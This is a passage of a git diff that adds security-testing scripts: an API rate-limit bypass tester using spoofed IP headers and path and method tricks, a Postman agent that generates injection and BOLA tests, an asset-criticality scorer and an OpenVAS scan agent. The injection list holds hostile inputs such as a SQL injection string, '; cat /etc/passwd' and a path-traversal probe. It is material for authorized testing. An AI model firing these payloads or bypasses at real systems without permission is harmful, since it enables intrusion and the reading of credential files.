auth_header=None): + """Send initial request and extract rate limit response headers.""" + headers = {"User-Agent": "RateLimit-Tester/1.0"} + if auth_header: + headers["Authorization"] = auth_header + try: + resp = requests.get(url, headers=headers, timeout=10) + rate_headers = {} + for key in resp.headers: + lower = key.lower() + if any(rl in lower for rl in ["ratelimit", "rate-limit", "x-rate", + "retry-after", "x-ratelimit"]): + rate_headers[key] = resp.headers[key] + return { + "url": url, + "status": resp.status_code, + "rate_limit_headers": rate_headers, + "has_rate_limiting": len(rate_headers) > 0, + } + except Exception as e: + return {"url": url, "error": str(e)} + + +def test_header_bypass(url, auth_header=None, request_count=30): + """Test rate limit bypass via IP spoofing headers.""" + findings = [] + base_headers = {"User-Agent": "RateLimit-Tester/1.0"} + if auth_header: + base_headers["Authorization"] = auth_header + + for i in range(request_count): + try: + resp = requests.get(url, headers=base_headers, timeout=5) + if resp.status_code == 429: + baseline_hit = i + 1 + break + except Exception: + pass + else: + findings.append({ + "test": "baseline", + "issue": f"No rate limit hit after {request_count} requests", + "severity": "HIGH", + }) + return findings + + for bypass in BYPASS_HEADERS: + test_headers = {**base_headers, **bypass} + header_name = list(bypass.keys())[0] + success_count = 0 + for i in range(10): + bypass[header_name] = f"10.{i}.{i}.{i}" + test_headers = {**base_headers, **bypass} + try: + resp = requests.get(url, headers=test_headers, timeout=5) + if resp.status_code != 429: + success_count += 1 + except Exception: + pass + + if success_count > 5: + findings.append({ + "test": "header_bypass", + "header": header_name, + "issue": f"Rate limit bypassed using {header_name} header ({success_count}/10 successful)", + "severity": "HIGH", + }) + return findings + + +def test_method_bypass(url, auth_header=None): + """Test if rate limiting applies across HTTP methods.""" + methods = ["GET", "POST", "PUT", "PATCH", "HEAD", "OPTIONS"] + findings = [] + headers = {"User-Agent": "RateLimit-Tester/1.0"} + if auth_header: + headers["Authorization"] = auth_header + + method_results = {} + for method in methods: + try: + resp = requests.request(method, url, headers=headers, timeout=5) + method_results[method] = resp.status_code + except Exception: + method_results[method] = "error" + + rate_limited = [m for m, s in method_results.items() if s == 429] + not_limited = [m for m, s in method_results.items() if isinstance(s, int) and s != 429] + + if rate_limited and not_limited: + findings.append({ + "test": "method_bypass", + "rate_limited": rate_limited, + "not_limited": not_limited, + "issue": f"Rate limit not applied to methods: {', '.join(not_limited)}", + "severity": "MEDIUM", + }) + return findings + + +def test_path_bypass(url, auth_header=None): + """Test rate limit bypass via URL path manipulation.""" + from urllib.parse import urlparse + parsed = urlparse(url) + path = parsed.path + + path_variations = [ + path + "/", + path + "?", + path + "#", + path.upper(), + path + "%20", + path + ";", + path.replace("/", "//"), + path + "/.", + path + "/..", + ] + + findings = [] + headers = {"User-Agent": "RateLimit-Tester/1.0"} + if auth_header: + headers["Authorization"] = auth_header + + for variant in path_variations: + test_url = f"{parsed.scheme}://{parsed.netloc}{variant}" + try: + resp = requests.get(test_url, headers=headers, timeout=5, allow_redirects=False) + if resp.status_code not in (429, 404, 301, 302): + findings.append({ + "test": "path_bypass", + "original": path, + "variant": variant, + "status": resp.status_code, + "issue": f"Path variation '{variant}' bypasses rate limit (status {resp.status_code})", + "severity": "MEDIUM", + }) + except Exception: + pass + return findings + + +def test_encoding_bypass(url, auth_header=None): + """Test rate limit bypass via parameter encoding variations.""" + from urllib.parse import urlparse, parse_qs, urlencode + parsed = urlparse(url) + params = parse_qs(parsed.query) + findings = [] + headers = {"User-Agent": "RateLimit-Tester/1.0"} + if auth_header: + headers["Authorization"] = auth_header + + null_byte_url = url + "%00" + try: + resp = requests.get(null_byte_url, headers=headers, timeout=5) + if resp.status_code != 429: + findings.append({ + "test": "null_byte_bypass", + "status": resp.status_code, + "issue": "Null byte appended bypasses rate limit", + "severity": "HIGH", + }) + except Exception: + pass + + return findings + + +def run_audit(args): + """Execute API rate limiting bypass audit.""" + print(f"\n{'='*60}") + print(f" API RATE LIMITING BYPASS TESTING") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + all_findings = [] + + detection = detect_rate_limit_headers(args.url, args.auth) + report["rate_limit_detection"] = detection + print(f"--- RATE LIMIT DETECTION ---") + print(f" URL: {detection.get('url','')}") + print(f" Has Rate Limiting: {detection.get('has_rate_limiting', False)}") + for k, v in detection.get("rate_limit_headers", {}).items(): + print(f" {k}: {v}") + + if args.test_headers: + header_findings = test_header_bypass(args.url, args.auth, args.request_count) + all_findings.extend(header_findings) + print(f"\n--- HEADER BYPASS ({len(header_findings)} findings) ---") + for f in header_findings: + print(f" [{f['severity']}] {f['issue']}") + + if args.test_methods: + method_findings = test_method_bypass(args.url, args.auth) + all_findings.extend(method_findings) + print(f"\n--- METHOD BYPASS ({len(method_findings)} findings) ---") + for f in method_findings: + print(f" [{f['severity']}] {f['issue']}") + + if args.test_paths: + path_findings = test_path_bypass(args.url, args.auth) + all_findings.extend(path_findings) + print(f"\n--- PATH BYPASS ({len(path_findings)} findings) ---") + for f in path_findings: + print(f" [{f['severity']}] {f['issue']}") + + report["findings"] = all_findings + report["total_findings"] = len(all_findings) + return report + + +def main(): + parser = argparse.ArgumentParser(description="API Rate Limiting Bypass Tester") + parser.add_argument("--url", required=True, help="Target API endpoint URL") + parser.add_argument("--auth", help="Authorization header value") + parser.add_argument("--request-count", type=int, default=30, + help="Requests for baseline detection (default: 30)") + parser.add_argument("--test-headers", action="store_true", help="Test header-based bypasses") + parser.add_argument("--test-methods", action="store_true", help="Test HTTP method bypasses") + parser.add_argument("--test-paths", action="store_true", help="Test URL path bypasses") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-api-security-testing-with-postman/LICENSE b/skills/performing-api-security-testing-with-postman/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-api-security-testing-with-postman/LICENSE +++ b/skills/performing-api-security-testing-with-postman/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-api-security-testing-with-postman/references/api-reference.md b/skills/performing-api-security-testing-with-postman/references/api-reference.md new file mode 100644 index 00000000..13091f2b --- /dev/null +++ b/skills/performing-api-security-testing-with-postman/references/api-reference.md @@ -0,0 +1,56 @@ +# API Security Testing with Postman — API Reference + +## Tools + +| Tool | Install | Purpose | +|------|---------|---------| +| Newman | `npm install -g newman` | CLI runner for Postman collections | +| Postman | Desktop app from postman.com | Collection creation and manual testing | + +## Newman CLI Commands + +| Command | Description | +|---------|-------------| +| `newman run ` | Execute collection | +| `newman run -e ` | Run with environment variables | +| `newman run --reporters cli,json` | Output in CLI and JSON format | +| `newman run --reporter-json-export out.json` | Export JSON results | +| `newman run --timeout-request 10000` | 10s request timeout | +| `newman run --delay-request 100` | 100ms delay between requests | + +## Postman Test Script Functions + +| Function | Description | +|----------|-------------| +| `pm.response.code` | HTTP response status code | +| `pm.response.text()` | Response body as string | +| `pm.response.json()` | Parsed JSON response | +| `pm.expect(val).to.equal(x)` | Chai assertion | +| `pm.expect(val).to.be.oneOf([])` | Value in expected set | +| `pm.expect(val).to.not.include(s)` | String not present | +| `pm.environment.set(k, v)` | Set environment variable | + +## Collection Schema (v2.1.0) + +```json +{ + "info": {"name": "...", "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"}, + "item": [{"name": "...", "request": {...}, "event": [{"listen": "test", "script": {...}}]}] +} +``` + +## OWASP API Security Tests + +| Test | Postman Assertion | +|------|-------------------| +| BOLA/IDOR | Expect 403/404 when accessing other user's resource | +| Auth bypass | Expect 401 without valid token | +| Mass assignment | Expect role field ignored in response | +| Injection | Expect no 500 or stack trace in response | +| Data exposure | Expect sensitive fields not in response | + +## External References + +- [Postman Learning Center](https://learning.postman.com/) +- [Newman Documentation](https://github.com/postmanlabs/newman) +- [Postman Test Scripts](https://learning.postman.com/docs/writing-scripts/test-scripts/) diff --git a/skills/performing-api-security-testing-with-postman/scripts/agent.py b/skills/performing-api-security-testing-with-postman/scripts/agent.py new file mode 100644 index 00000000..fa8f8285 --- /dev/null +++ b/skills/performing-api-security-testing-with-postman/scripts/agent.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python3 +# For authorized testing only +"""Postman API security testing orchestration agent using Newman CLI.""" + +import json +import sys +import argparse +import subprocess +import os +from datetime import datetime + + +def run_newman_collection(collection_path, environment_path=None, reporters=None): + """Execute a Postman collection using Newman CLI.""" + cmd = ["newman", "run", collection_path] + if environment_path: + cmd.extend(["-e", environment_path]) + if reporters: + cmd.extend(["--reporters", reporters]) + else: + cmd.extend(["--reporters", "cli,json"]) + cmd.extend(["--reporter-json-export", "newman-results.json"]) + cmd.extend(["--timeout-request", "10000"]) + cmd.extend(["--delay-request", "100"]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + output = { + "exit_code": result.returncode, + "stdout_tail": result.stdout[-2000:] if result.stdout else "", + "stderr": result.stderr[:500] if result.stderr else "", + } + + if os.path.exists("newman-results.json"): + with open("newman-results.json", "r") as f: + output["results"] = json.load(f) + return output + + +def parse_newman_results(results_path): + """Parse Newman JSON results for security test outcomes.""" + with open(results_path, "r") as f: + data = json.load(f) + + run_data = data.get("run", {}) + stats = run_data.get("stats", {}) + executions = run_data.get("executions", []) + + test_results = [] + for execution in executions: + item = execution.get("item", {}) + response = execution.get("response", {}) + assertions = execution.get("assertions", []) + + for assertion in assertions: + test_results.append({ + "request_name": item.get("name", ""), + "test_name": assertion.get("assertion", ""), + "passed": not assertion.get("error"), + "status_code": response.get("code", 0), + "response_time_ms": response.get("responseTime", 0), + "error": assertion.get("error", {}).get("message", "") if assertion.get("error") else "", + }) + + failures = [t for t in test_results if not t["passed"]] + return { + "total_requests": stats.get("requests", {}).get("total", 0), + "total_assertions": stats.get("assertions", {}).get("total", 0), + "failed_assertions": stats.get("assertions", {}).get("failed", 0), + "test_results": test_results, + "failures": failures, + } + + +def generate_bola_collection(base_url, endpoints, user_a_token, user_b_token): + """Generate Postman collection for BOLA/IDOR testing across two user contexts.""" + items = [] + for ep in endpoints: + method = ep.get("method", "GET") + path = ep.get("path", "") + items.append({ + "name": f"BOLA: {method} {path} (User B accessing User A resource)", + "request": { + "method": method, + "header": [ + {"key": "Authorization", "value": f"Bearer {user_b_token}"}, + {"key": "Content-Type", "value": "application/json"}, + ], + "url": {"raw": f"{base_url}{path}", "host": [base_url], "path": path.strip("/").split("/")}, + }, + "event": [{ + "listen": "test", + "script": { + "exec": [ + "pm.test('BOLA Check: Should return 403 or 404', function () {", + " pm.expect(pm.response.code).to.be.oneOf([403, 404]);", + "});", + "pm.test('No data leakage in response', function () {", + f" pm.expect(pm.response.text()).to.not.include('{user_a_token[:10]}');", + "});", + ], + "type": "text/javascript", + }, + }], + }) + + collection = { + "info": { + "name": "BOLA/IDOR Security Tests", + "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json", + }, + "item": items, + } + return collection + + +def generate_injection_collection(base_url, endpoints): + """Generate Postman collection for injection testing.""" + injection_payloads = [ + ("SQL Injection", "' OR '1'='1"), + ("XSS", ""), + ("Command Injection", "; cat /etc/passwd"), + ("SSTI", "{{7*7}}"), + ("Path Traversal", "../../../etc/passwd"), + ] + + items = [] + for ep in endpoints: + path = ep.get("path", "") + params = ep.get("params", []) + for param in params: + for payload_name, payload in injection_payloads: + items.append({ + "name": f"{payload_name}: {path}?{param}", + "request": { + "method": "GET", + "url": { + "raw": f"{base_url}{path}?{param}={payload}", + "host": [base_url], + "path": path.strip("/").split("/"), + "query": [{"key": param, "value": payload}], + }, + }, + "event": [{ + "listen": "test", + "script": { + "exec": [ + f"pm.test('{payload_name} — no 500 error', function () {{", + " pm.expect(pm.response.code).to.not.equal(500);", + "});", + f"pm.test('{payload_name} — no stack trace', function () {{", + " pm.expect(pm.response.text()).to.not.include('Traceback');", + " pm.expect(pm.response.text()).to.not.include('Exception');", + "});", + ], + "type": "text/javascript", + }, + }], + }) + + return { + "info": { + "name": "Injection Security Tests", + "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json", + }, + "item": items, + } + + +def run_audit(args): + """Execute Postman API security testing audit.""" + print(f"\n{'='*60}") + print(f" POSTMAN API SECURITY TESTING") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.collection: + newman = run_newman_collection(args.collection, args.environment) + report["newman_run"] = {"exit_code": newman["exit_code"]} + print(f"--- NEWMAN EXECUTION ---") + print(f" Exit code: {newman['exit_code']}") + + if os.path.exists("newman-results.json"): + parsed = parse_newman_results("newman-results.json") + report["test_results"] = parsed + print(f"\n--- TEST RESULTS ---") + print(f" Total requests: {parsed['total_requests']}") + print(f" Total assertions: {parsed['total_assertions']}") + print(f" Failed: {parsed['failed_assertions']}") + for f in parsed["failures"][:15]: + print(f" FAIL: {f['request_name']} — {f['test_name']}") + if f["error"]: + print(f" {f['error'][:80]}") + + if args.gen_bola: + endpoints = json.loads(args.gen_bola) + collection = generate_bola_collection( + args.base_url or "http://localhost:8080", + endpoints, args.token_a or "token_a", args.token_b or "token_b", + ) + output_path = "bola-tests.postman_collection.json" + with open(output_path, "w") as f_out: + json.dump(collection, f_out, indent=2) + report["bola_collection"] = output_path + print(f"\n--- GENERATED BOLA COLLECTION ---") + print(f" Path: {output_path}") + print(f" Tests: {len(collection['item'])}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Postman API Security Testing Agent") + parser.add_argument("--collection", help="Postman collection JSON to run with Newman") + parser.add_argument("--environment", help="Postman environment JSON") + parser.add_argument("--gen-bola", help="JSON array of endpoints for BOLA test generation") + parser.add_argument("--base-url", help="Base URL for generated collections") + parser.add_argument("--token-a", help="User A auth token for BOLA tests") + parser.add_argument("--token-b", help="User B auth token for BOLA tests") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-arp-spoofing-attack-simulation/LICENSE b/skills/performing-arp-spoofing-attack-simulation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-arp-spoofing-attack-simulation/LICENSE +++ b/skills/performing-arp-spoofing-attack-simulation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-asset-criticality-scoring-for-vulns/LICENSE b/skills/performing-asset-criticality-scoring-for-vulns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-asset-criticality-scoring-for-vulns/LICENSE +++ b/skills/performing-asset-criticality-scoring-for-vulns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md b/skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md new file mode 100644 index 00000000..aa20e675 --- /dev/null +++ b/skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md @@ -0,0 +1,62 @@ +# Asset Criticality Scoring for Vulnerability Prioritization — API Reference + +## Criticality Scoring Factors + +| Factor | Weight | Description | +|--------|--------|-------------| +| Data Sensitivity | 0.25 | Classification of data stored/processed | +| Business Function | 0.20 | Revenue/operational importance | +| Regulatory Scope | 0.15 | Compliance frameworks in scope | +| Network Exposure | 0.20 | Internet-facing vs air-gapped | +| Recoverability | 0.10 | Recovery time and capability | +| User Count | 0.10 | Number of users impacted | + +## Data Sensitivity Levels + +| Level | Score | Examples | +|-------|-------|---------| +| Public | 1 | Marketing website, public docs | +| Internal | 2 | Internal wiki, employee tools | +| Confidential | 3 | Financial reports, source code | +| PII | 4 | Customer names, emails, addresses | +| PCI/PHI | 5 | Credit card data, health records | + +## Criticality Tiers + +| Tier | Score Range | Name | Remediation SLA (Critical) | +|------|------------|------|---------------------------| +| 1 | >= 4.0 | Crown Jewel | 24 hours | +| 2 | 3.0 - 3.9 | Business Critical | 48 hours | +| 3 | 2.0 - 2.9 | Important | 7 days | +| 4 | 1.5 - 1.9 | Standard | 14 days | +| 5 | < 1.5 | Low Impact | 30 days | + +## Risk-Adjusted Priority Formula + +``` +adjusted_priority = min(CVSS_score * tier_multiplier, 10.0) +Tier multipliers: {1: 1.5, 2: 1.3, 3: 1.0, 4: 0.8, 5: 0.5} +``` + +## CSV Inventory Format + +```csv +hostname,data_classification,business_function,regulatory_scope,network_exposure,recoverability,user_count +db-prod-01,pci,revenue-generating,pci-dss,dmz,manual-recovery,50000 +web-staging,internal,staging,none,vpn-accessible,auto-recovery,10 +``` + +## Integration Points + +| System | Purpose | +|--------|---------| +| CMDB (ServiceNow, Qualys) | Asset metadata source | +| Vulnerability Scanner | CVSS scores for risk adjustment | +| Ticketing (Jira, ServiceNow) | SLA-driven remediation tracking | +| SIEM | Alert priority enrichment | + +## External References + +- [NIST SP 800-30 Risk Assessment](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final) +- [FIRST CVSS v3.1 Specification](https://www.first.org/cvss/v3.1/specification-document) +- [CISA Stakeholder-Specific Vulnerability Categorization](https://www.cisa.gov/ssvc) diff --git a/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py b/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py new file mode 100644 index 00000000..22517df4 --- /dev/null +++ b/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""Asset criticality scoring agent for vulnerability prioritization.""" + +import json +import sys +import argparse +import csv +from datetime import datetime + + +CRITICALITY_WEIGHTS = { + "data_sensitivity": 0.25, + "business_function": 0.20, + "regulatory_scope": 0.15, + "network_exposure": 0.20, + "recoverability": 0.10, + "user_count": 0.10, +} + +DATA_SENSITIVITY_SCORES = { + "public": 1, "internal": 2, "confidential": 3, + "restricted": 4, "pci": 5, "phi": 5, "pii": 4, +} + +BUSINESS_FUNCTION_SCORES = { + "test": 1, "development": 2, "staging": 2, + "internal-tool": 3, "customer-facing": 4, + "revenue-generating": 5, "critical-infrastructure": 5, +} + +REGULATORY_SCOPE_SCORES = { + "none": 1, "internal-policy": 2, "soc2": 3, + "gdpr": 4, "pci-dss": 5, "hipaa": 5, "fedramp": 5, +} + +NETWORK_EXPOSURE_SCORES = { + "air-gapped": 1, "internal-only": 2, "vpn-accessible": 3, + "dmz": 4, "internet-facing": 5, +} + +RECOVERABILITY_SCORES = { + "auto-recovery": 1, "backup-available": 2, + "manual-recovery": 3, "extended-downtime": 4, + "no-recovery": 5, +} + + +def load_asset_inventory(csv_path): + """Load asset inventory from CSV file.""" + assets = [] + with open(csv_path, "r") as f: + reader = csv.DictReader(f) + for row in reader: + assets.append(row) + return assets + + +def calculate_criticality_score(asset): + """Calculate weighted criticality score for a single asset.""" + scores = {} + scores["data_sensitivity"] = DATA_SENSITIVITY_SCORES.get( + asset.get("data_classification", "internal").lower(), 2) + scores["business_function"] = BUSINESS_FUNCTION_SCORES.get( + asset.get("business_function", "internal-tool").lower(), 3) + scores["regulatory_scope"] = REGULATORY_SCOPE_SCORES.get( + asset.get("regulatory_scope", "none").lower(), 1) + scores["network_exposure"] = NETWORK_EXPOSURE_SCORES.get( + asset.get("network_exposure", "internal-only").lower(), 2) + scores["recoverability"] = RECOVERABILITY_SCORES.get( + asset.get("recoverability", "backup-available").lower(), 2) + + user_count = int(asset.get("user_count", 0)) + if user_count > 10000: + scores["user_count"] = 5 + elif user_count > 1000: + scores["user_count"] = 4 + elif user_count > 100: + scores["user_count"] = 3 + elif user_count > 10: + scores["user_count"] = 2 + else: + scores["user_count"] = 1 + + weighted_score = sum( + scores[factor] * weight + for factor, weight in CRITICALITY_WEIGHTS.items() + ) + + if weighted_score >= 4.0: + tier = 1 + tier_name = "Crown Jewel" + elif weighted_score >= 3.0: + tier = 2 + tier_name = "Business Critical" + elif weighted_score >= 2.0: + tier = 3 + tier_name = "Important" + elif weighted_score >= 1.5: + tier = 4 + tier_name = "Standard" + else: + tier = 5 + tier_name = "Low Impact" + + return { + "asset": asset.get("hostname", asset.get("name", "unknown")), + "factor_scores": scores, + "weighted_score": round(weighted_score, 2), + "tier": tier, + "tier_name": tier_name, + } + + +def calculate_risk_adjusted_priority(criticality_tier, cvss_score): + """Combine CVSS score with asset criticality for risk-adjusted priority.""" + tier_multipliers = {1: 1.5, 2: 1.3, 3: 1.0, 4: 0.8, 5: 0.5} + multiplier = tier_multipliers.get(criticality_tier, 1.0) + adjusted = min(cvss_score * multiplier, 10.0) + return round(adjusted, 1) + + +def generate_sla_matrix(criticality_tier): + """Generate remediation SLA based on asset criticality tier.""" + sla_matrix = { + 1: {"critical": "24h", "high": "72h", "medium": "7d", "low": "30d"}, + 2: {"critical": "48h", "high": "7d", "medium": "14d", "low": "60d"}, + 3: {"critical": "7d", "high": "14d", "medium": "30d", "low": "90d"}, + 4: {"critical": "14d", "high": "30d", "medium": "60d", "low": "180d"}, + 5: {"critical": "30d", "high": "60d", "medium": "90d", "low": "365d"}, + } + return sla_matrix.get(criticality_tier, sla_matrix[3]) + + +def run_audit(args): + """Execute asset criticality scoring audit.""" + print(f"\n{'='*60}") + print(f" ASSET CRITICALITY SCORING FOR VULNERABILITY PRIORITIZATION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.inventory: + assets = load_asset_inventory(args.inventory) + scored = [calculate_criticality_score(a) for a in assets] + scored.sort(key=lambda x: x["weighted_score"], reverse=True) + + report["scored_assets"] = scored + tier_counts = {} + for s in scored: + tier_counts[s["tier_name"]] = tier_counts.get(s["tier_name"], 0) + 1 + report["tier_distribution"] = tier_counts + + print(f"--- ASSET CRITICALITY SCORES ({len(scored)} assets) ---") + for s in scored[:20]: + print(f" Tier {s['tier']} ({s['tier_name']}): {s['asset']} " + f"— score {s['weighted_score']}") + + print(f"\n--- TIER DISTRIBUTION ---") + for tier_name, count in sorted(tier_counts.items()): + print(f" {tier_name}: {count} assets") + + print(f"\n--- REMEDIATION SLA MATRIX ---") + for tier in range(1, 6): + sla = generate_sla_matrix(tier) + print(f" Tier {tier}: Critical={sla['critical']} High={sla['high']} " + f"Medium={sla['medium']} Low={sla['low']}") + + if args.cvss_score and args.asset_tier: + adjusted = calculate_risk_adjusted_priority(args.asset_tier, args.cvss_score) + sla = generate_sla_matrix(args.asset_tier) + report["risk_adjustment"] = { + "original_cvss": args.cvss_score, + "asset_tier": args.asset_tier, + "adjusted_priority": adjusted, + "sla": sla, + } + print(f"\n--- RISK-ADJUSTED PRIORITY ---") + print(f" CVSS: {args.cvss_score} x Tier {args.asset_tier} = {adjusted}") + print(f" SLA: {sla}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Asset Criticality Scoring Agent") + parser.add_argument("--inventory", help="CSV file with asset inventory") + parser.add_argument("--cvss-score", type=float, help="CVSS score to adjust") + parser.add_argument("--asset-tier", type=int, choices=[1, 2, 3, 4, 5], + help="Asset criticality tier (1=highest)") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-authenticated-scan-with-openvas/LICENSE b/skills/performing-authenticated-scan-with-openvas/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-authenticated-scan-with-openvas/LICENSE +++ b/skills/performing-authenticated-scan-with-openvas/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-authenticated-scan-with-openvas/references/api-reference.md b/skills/performing-authenticated-scan-with-openvas/references/api-reference.md new file mode 100644 index 00000000..f0d21211 --- /dev/null +++ b/skills/performing-authenticated-scan-with-openvas/references/api-reference.md @@ -0,0 +1,64 @@ +# OpenVAS Authenticated Scan — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| python-gvm | `pip install python-gvm` | GVM protocol client (GMP) | + +## python-gvm Connection + +```python +from gvm.connections import UnixSocketConnection +from gvm.protocols.gmp import Gmp +from gvm.transforms import EtreeTransform + +connection = UnixSocketConnection(path="/run/gvmd/gvmd.sock") +with Gmp(connection=connection, transform=EtreeTransform()) as gmp: + gmp.authenticate("admin", "password") +``` + +## Key GMP Methods + +| Method | Description | +|--------|-------------| +| `get_scan_configs()` | List scan configuration profiles | +| `get_credentials()` | List stored credentials | +| `create_credential(name=, type=, login=, password=)` | Create scan credential | +| `create_target(name=, hosts=, ssh_credential_id=)` | Create scan target with creds | +| `create_task(name=, config_id=, target_id=, scanner_id=)` | Create scan task | +| `start_task(task_id)` | Start a scan task | +| `get_task(task_id)` | Get task status and progress | +| `get_report(report_id, filter_string=)` | Fetch scan results | + +## Scan Configuration IDs + +| Name | ID | Description | +|------|----|-------------| +| Full and fast | `daba56c8-73ec-11df-a475-002264764cea` | Default comprehensive scan | +| Full and deep | `708f25c4-7489-11df-8094-002264764cea` | Thorough but slower scan | +| Discovery | `8715c877-47a0-438d-98a3-27c7a6ab2196` | Network discovery only | + +## Credential Types + +| Type | Protocol | Default Port | +|------|----------|-------------| +| USERNAME_PASSWORD (SSH) | SSH | 22 | +| USERNAME_PASSWORD (SMB) | SMB/WMI | 445 | +| USERNAME_PASSWORD (ESXi) | VMware | 443 | +| SNMP | SNMP | 161 | + +## OpenVAS CLI (ospd-openvas) + +```bash +gvm-cli socket --socketpath /run/gvmd/gvmd.sock --xml "" +greenbone-feed-sync --type SCAP # Sync vulnerability data +greenbone-feed-sync --type CERT # Sync CERT advisories +greenbone-feed-sync --type GVMD_DATA # Sync scan configs +``` + +## External References + +- [python-gvm Documentation](https://python-gvm.readthedocs.io/) +- [Greenbone Community Edition](https://greenbone.github.io/docs/latest/) +- [GMP Protocol Reference](https://docs.greenbone.net/API/GMP/gmp-22.04.html) diff --git a/skills/performing-authenticated-scan-with-openvas/scripts/agent.py b/skills/performing-authenticated-scan-with-openvas/scripts/agent.py new file mode 100644 index 00000000..6607f627 --- /dev/null +++ b/skills/performing-authenticated-scan-with-openvas/scripts/agent.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +"""OpenVAS/GVM authenticated vulnerability scan orchestration agent.""" + +import json +import sys +import argparse +import subprocess +import xml.etree.ElementTree as ET +from datetime import datetime + +try: + from gvm.connections import UnixSocketConnection + from gvm.protocols.gmp import Gmp + from gvm.transforms import EtreeTransform +except ImportError: + Gmp = None + + +def connect_gvm(socket_path, username, password): + """Connect to GVM daemon via Unix socket.""" + if Gmp is None: + return None, "Install: pip install python-gvm" + connection = UnixSocketConnection(path=socket_path) + transform = EtreeTransform() + gmp = Gmp(connection=connection, transform=transform) + gmp.authenticate(username, password) + return gmp, None + + +def list_scan_configs(gmp): + """List available scan configurations.""" + response = gmp.get_scan_configs() + configs = [] + for config in response.findall(".//config"): + configs.append({ + "id": config.get("id"), + "name": config.findtext("name", ""), + "type": config.findtext("type", ""), + "family_count": config.findtext("family_count/growing", ""), + }) + return configs + + +def list_credentials(gmp): + """List configured scan credentials.""" + response = gmp.get_credentials() + creds = [] + for cred in response.findall(".//credential"): + creds.append({ + "id": cred.get("id"), + "name": cred.findtext("name", ""), + "type": cred.findtext("type", ""), + "login": cred.findtext("login", ""), + }) + return creds + + +def create_ssh_credential(gmp, name, login, password): + """Create SSH credential for authenticated Linux scans.""" + response = gmp.create_credential( + name=name, + credential_type=gmp.types.CredentialType.USERNAME_PASSWORD, + login=login, + password=password, + ) + return response.get("id") + + +def create_target(gmp, name, hosts, ssh_cred_id=None, smb_cred_id=None, port_list_id=None): + """Create scan target with optional credentials.""" + kwargs = {"name": name, "hosts": hosts} + if ssh_cred_id: + kwargs["ssh_credential_id"] = ssh_cred_id + kwargs["ssh_credential_port"] = 22 + if smb_cred_id: + kwargs["smb_credential_id"] = smb_cred_id + if port_list_id: + kwargs["port_list_id"] = port_list_id + response = gmp.create_target(**kwargs) + return response.get("id") + + +def create_and_start_task(gmp, name, target_id, config_id, scanner_id): + """Create and start a scan task.""" + response = gmp.create_task( + name=name, + config_id=config_id, + target_id=target_id, + scanner_id=scanner_id, + ) + task_id = response.get("id") + gmp.start_task(task_id) + return task_id + + +def get_task_status(gmp, task_id): + """Check scan task progress and status.""" + response = gmp.get_task(task_id) + task = response.find(".//task") + if task is None: + return {"error": "Task not found"} + return { + "id": task_id, + "name": task.findtext("name", ""), + "status": task.findtext("status", ""), + "progress": task.findtext("progress", "0"), + "report_id": task.find(".//last_report/report").get("id", "") if task.find(".//last_report/report") is not None else "", + } + + +def get_report_results(gmp, report_id, min_qod=70): + """Fetch vulnerability results from a completed scan report.""" + response = gmp.get_report( + report_id, + filter_string=f"min_qod={min_qod} sort-reverse=severity", + details=True, + ) + results = [] + for result in response.findall(".//result"): + nvt = result.find("nvt") + results.append({ + "name": nvt.findtext("name", "") if nvt is not None else "", + "oid": nvt.get("oid", "") if nvt is not None else "", + "host": result.findtext("host", ""), + "port": result.findtext("port", ""), + "severity": result.findtext("severity", 